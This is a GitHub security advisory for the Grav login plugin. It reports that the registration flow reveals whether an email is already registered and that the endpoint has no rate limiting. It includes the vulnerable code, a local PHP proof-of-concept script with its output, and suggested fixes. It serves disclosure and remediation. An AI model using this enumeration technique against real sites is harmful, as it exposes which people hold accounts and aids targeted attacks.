Skip to main content
Menu
Advisories

User registration discloses whether an email address is already registered (email enumeration)

GHSA-CRH8-XM27-J9G9Published Updated GitHub

Description

The user registration flow in classes/Login.php's register() method throws a distinct, identifiable exception when the submitted email address already belongs to an existing account, and allows registration to proceed silently otherwise. This lets an attacker enumerate which email addresses have accounts on the site, one guess per request, with no rate limiting on the registration endpoint.

The core evidence

classes/Login.php, register():

// Check whether email already exists. $email = $data['email']; if (!$email || $accounts->find($email, ['email'])->exists()) { $language = $this->grav['language']; throw new \RuntimeException($language->translate(['PLUGIN_LOGIN.EMAIL_NOT_AVAILABLE', $email])); }

The same discrepancy is duplicated in login.php at lines 1058-1073 and 1248-1266.

Live, end-to-end Proof of Concept

Built a real Grav bootstrap, registered the real accounts service the same way core does for the regular (non-Flex) account type, created and saved one real, genuinely existing user account, then called the actual, unmodified Login::register() method with two different submitted emails.

poc.php:

<?php define('GRAV_CLI', true); chdir('/path/to/grav'); require 'vendor/autoload.php'; require '/path/to/grav-plugin-login/vendor/autoload.php'; spl_autoload_register(function ($class) { $prefix = 'Grav\\Plugin\\Login\\'; if (str_starts_with($class, $prefix)) { $rel = substr($class, strlen($prefix)); $path = '/path/to/grav-plugin-login/classes/' . str_replace('\\', '/', $rel) . '.php'; if (file_exists($path)) require $path; } });

use Grav\Common\Grav; use Grav\Common\User\DataUser\User; use Grav\Common\User\DataUser\UserCollection; use Grav\Plugin\Login\Login;

Grav::resetInstance(); $grav = Grav::instance(); $grav['config']->init(); $grav['config']->set('system.languages.supported', ['en']); $grav['config']->set('system.languages.default_lang', 'en'); foreach (array_keys($grav['setup']->getStreams()) as $stream) { @stream_wrapper_unregister($stream); } $grav['streams']; $grav['uri']->init(); $grav['config']->set('system.cache.enabled', false); $grav['accounts'] = new UserCollection(User::class); $grav['locator']->addPath('user-data', '', '/path/to/test/userdata', false); $grav['locator']->addPath('account', '', '/path/to/test/accounts', false);

$accounts = $grav['accounts']; $existingUser = $accounts->load('victimuser'); $existingUser->update([ 'username' => 'victimuser', 'email' => 'victim@example.com', 'password' => 'SomeExistingPassword123!', 'state' => 'enabled', ]); $existingUser->save();

$grav['language']->init(); $login = new Login($grav);

function tryRegister(Login $login, array $data, string $label): void { echo "$label: "; try { $login->register($data); echo "registration succeeded, no exception\n"; } catch (\Throwable $e) { echo "exception: " . $e->getMessage() . "\n"; } }

tryRegister($login, [ 'username' => 'attackerprobe1', 'email' => 'victim@example.com', 'password' => 'NewPassword123!', 'password1' => 'NewPassword123!', 'password2' => 'NewPassword123!', ], 'submitting EXISTING victim email');

tryRegister($login, [ 'username' => 'attackerprobe2', 'email' => 'definitely-not-registered@example.com', 'password' => 'NewPassword123!', 'password1' => 'NewPassword123!', 'password2' => 'NewPassword123!', ], 'submitting FRESH, never-registered email');

Run: php poc.php

Real output:

submitting EXISTING victim email: exception: PLUGIN_LOGIN.EMAIL_NOT_AVAILABLE submitting FRESH, never-registered email: registration succeeded, no exception

The discrepancy is confirmed against the real, unmodified register() method, a real UserCollection, and a genuinely created and saved user account, not a mock or a reproduction.

Impact

An attacker can determine whether a specific email address has an account on the site by submitting registration attempts and observing whether EMAIL_NOT_AVAILABLE is returned, with no rate limiting on this endpoint distinct from the login and password-reset-request endpoints, which do have rate limiting.

Scoping note

This is a well-known, common vulnerability class (CWE-203/CWE-204), not a novel attack technique, this exact pattern appears in a large fraction of registration forms across the web. I am reporting it because it is real, concrete, and unaddressed in this specific plugin. getgrav/grav core has an already-fixed advisory for user enumeration/email disclosure in a different repository and a different code path. This may be the same underlying concern resurfacing in a plugin the core fix did not touch, or it may be considered an accepted usability tradeoff by the maintainers. I am flagging that nuance rather than assuming either way.

Suggested fix

Return the same generic message regardless of whether the submitted email is already registered, for example "if this email isn't already registered, you'll receive a confirmation email shortly", matching the pattern a well-designed password-reset flow uses to avoid confirming account existence. Consider adding rate limiting to the registration endpoint itself, matching the pattern already used for login and password-reset-request.

Affected component

  • classes/Login.php, register()
  • login.php, duplicated checks at lines 1058-1073 and 1248-1266

Affected versions

References

GitHub · getgrav/grav